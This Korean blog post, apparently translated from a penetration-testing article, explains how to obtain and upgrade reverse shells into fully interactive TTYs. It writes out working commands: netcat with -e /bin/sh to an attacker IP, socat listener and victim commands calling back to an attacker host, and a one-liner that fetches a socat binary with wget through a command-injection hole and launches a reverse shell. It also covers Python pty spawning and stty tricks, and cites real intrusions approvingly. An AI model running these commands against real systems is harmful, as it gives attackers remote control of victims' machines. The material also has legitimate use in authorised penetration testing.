원본 링크 :
netcat 으로 리버스 쉘을 연결한 후 잘못된 명령어를 실행하고 실수로 "Ctrl+C" 를 누를 경우, 중지되지 않고 연결이 끊김.
SIGINT 를 올바르게 처리하지 못하는 것 외에도 이러한 "멍청한" 쉘에는 다른 단점도 있음.
- su 및 ssh 와 같은 일부 명령어를 실행하려면 적절한 터미널이 필요함.
- STDERR 은 일반적으로 표시되지 않음.
- vim 과 같은 텍스트 편집기를 제대로 사용할 수 없음.
- 탭 완료가 없음.
- 위쪽 화살표 기록이 없음.
- 작업 통제가 없음.
- 등등
간단히 말해서 이러한 쉘은 연결할 수 있지만 완전한 대화형 TTY 에서 작동하는 것이 좋음.
이러한 쉘을 "업그레이드" 하는 데 매우 유용한 팁과 기술을 공유하고자 함.
Pentest Monkey님의 글과 함께 Phineas Fisher님이 공개한 비디오에서 기술을 배울 수 있음.
- Pentest Monkey - Post Exploitation Without a TTY
- Phineas Fisher Hacks Catalan Police Union Website
- Phineas Fisher - Hackingteam Writeup
리버스 쉘 명령어 생성
모두가 netcat 을 사용하여 리버스 쉘을 얻는 전통적인 방법에 매우 익숙함.
nc
-e /bin/sh xxx.xxx.xxx.xxx(공격자 IP) 4444 |
그리고 그것을 수신 대기 후 연결하는 방법은 다음과 같음.
nc
-lvp 4444 |
문제는 모든 서버에 netcat 이 설치되어 있지 않으며 모든 netcat 버전에 -e 옵션이 있는 것은 아니라는 것임.
Pentest Monkey 에는 몇 가지 다른 방법을 설명하는 훌륭한 치트 시트가 있지만 제가 가장 좋아하는 방법은 Metasploit 의 msfvenom 을 사용하여 한 줄짜리 명령어를 생성하는 것임.
Metasploit 에는 "cmd/unix" 아래에 원라인너(One-Liner) 바인드 또는 리버스 쉘을 생성하는 데 사용할 수 있는 여러 페이로드가 있음.
이러한 페이로드는 msfvenom 과 함께 사용하여 필요한 원시 명령어(LHOST, LPORT 또는 RPORT 지정)을 내보낼 수 있음.
예를 들어, -e 플래그가 필요하지 않은 netcat 명령어는 다음과 같음.
netcat 이 설치되지 않은 경우를 대비한 Perl 원라인너(One-Liner)는 다음과 같음.
이것들은 모두 netcat 을 사용하고 지정된 포트(4444)에서 수신하여 포착할 수 있음.
방법 1: Python pty 모듈
멍청한 쉘을 잡은 후 오랫동안 사용했던 명령어 중 하나는 Python 을 사용하여 pty 를 생성하는 것임.
pty 모듈을 사용하면 su 와 같은 명령어가 적절한 터미널에서 실행되고 있다고 생각하도록 속일 수 있는 의사 터미널을 생성할 수 있음.
단순한 쉘을 업그레이드하려면 다음 명령어를 실행하면 됨.
python
-c 'import pty; pty.spawn("/bin/bash")' |
예를 들어 이렇게 하면 su 를 실행할 수 있음. (더 좋은 프롬프트를 제공하는 것 외에도)
안타깝게도 위에서 설명한 다른 문제 중 일부는 해결되지 않음.
SIGINT(Ctrl-C)는 여전히 netcat 을 닫고 탭 완성이나 기록이 없음.
하지만 이는 나에게 여러 번 도움이 된 빠르고 더러운 해결 방법임.
방법 2 : Socat 사용
socat 은 netcat 의 상위 버전(적절한 표현으로 스테로이드급)과 같으며 매우 강력한 네트워킹 스위스 군용 칼임.
Socat 을 사용하면 TCP 연결을 통해 전체 TTY 를 전달할 수 있음.
피해 서버에 socat 이 설치되어 있으면 이를 사용하여 리버스 쉘을 시작할 수 있음.
전체 기능을 얻으려면 socat 과의 연결에 성공해야 함.
다음 명령어는 완전한 대화형 TTY 리버스 쉘을 생성함.
공격자 (수신 대기)
socat file:`tty`,raw,echo=0
tcp-listen:4444 |
피해자 (실행)
socat exec:'bash
-li',pty,stderr,setsid,sigint,sane tcp:xxx.xxx.xxx.xxx(공격자 IP):4444 |
socat 이 설치되어 있지 않아도 운이 좋지 않음.
이 멋진 Github 저장소에서 다운로드할 수 있는 독립 실행형 바이너리가 있음.
https://github.com/andrew-d/static-binaries
명령어 주입 취약점을 사용하면 올바른 아키텍처 socat 바이너리를 쓰기 가능한 디렉터리에 다운로드하고 chmod 명령어를 사용한 다음에 한 줄로 리버스 쉘을 실행할 수 있음.
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:xxx.xxx.xxx.xxx(공격자 IP):4444 |
Kali 에서는 완전한 대화형 TTY 세션을 볼 수 있음.
탭 완성, SIGINT/SIGSTP 지원, vim, 위쪽 화살표 기록 등을 지원함.
완전한 터미널임.
방법 3 : Phineas Fishers님이 사용한 netcat에서 업그레이드
Phineas Fisher 가 해킹 영상에서 이 기술을 사용하는 것을 봤는데 마치 마법처럼 느껴짐.
기본적으로 Kali 터미널 내에서 일부 STTY 옵션을 설정하여 멍청한 netcat 쉘을 사용하면 전체 TTY 로 업그레이드할 수 있음.
먼저 방법 1 과 동일한 기술을 따르고 Python 을 사용하여 PTY 를 생성함.
Bash 가 PTY 에서 실행되면 Ctrl-Z 를 사용하여 쉘을 배경으로 설정함.
쉘이 백그라운드에 있는 동안 이제 현재 터니멀과 STTY 정보를 검사하여 연결된 쉘을 강제로 일치시킬 수 있음.
필요한 정보는 TERM 유형("xterm-256color")과 현재 TTY 크기("행 38, 열 116")임.
쉘이 여전히 백그라운드로 설정된 상태에서 이제 현재 STTY 를 raw 형식으로 설정하고 다음 명령어를 사용하여 입력 문자를 반복(echo)하도록 지시함.
stty
raw -echo |
원시 STTY 를 사용하면 입력/출력이 이상하게 보이고 다은 명령어가 표시되지 않지만 입력할 때 해당 명령어가 처리되고 있음.
다음으로 fg 를 사용하여 쉘을 포그라운드(Foreground)함.
리버스 쉘을 다시 열리지만 형식 지정은 해제됨.
마지막으로 재설정을 사용하여 터미널을 다시 초기화함.
참고 :
위에서 본 것처럼 nc 명령어를 다시 입력하지 않았음.
실제로 fg 를 입력했지만 에코(echo)가 발생하지 않았음.
nc 명령어는 현재 포그라운드에 있는 작업임.
그런 다음 재설정 명령어로 netcat 쉘에 입력되었음.
재설정 후에는 쉘이 다시 정상적으로 보일 것임.
마지막 단계는 현재 Kali 창과 일치하도록 쉘, 터미널 유형 및 STTY 크기를 설정하는 것임. (위에서 수집한 정보에서)
$
export SHELL=bash $
export TERM=xterm256-color $
stty rows 38 columns 116 |
최종 결과는 netcat 연결 전체에서 우리가 기대하는 모든 기능(탭 완성, 기록, 작업 제어 등)을 갖춘 완전한 대화형 TTY 임.
이제 가능성은 무한함.
tl;dr 치트 시트
위 방법들을 모아둔 치트 시트 명령어임.
의사 터미널(Psuedo Terminal)에 Python 사용
python
-c 'import pty; pty.spawn("/bin/bash")' |
Socat 사용
#리스너(Listener) : socat
file:`tty`,raw,echo=0 tcp-listen:4444
#피해자(Victim) : socat
exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 |
STTY 옵션 사용
# 리버스 쉘에서 (In reverse shell) $
python -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z
#
Kali 에서 (In
Kali) $
stty raw -echo $ fg
# 리버스 쉘에서 (In reverse shell) $
reset $
export SHELL=bash $
export TERM=xterm-256color $
stty rows <num> columns <cols> |
댓글 없음:
댓글 쓰기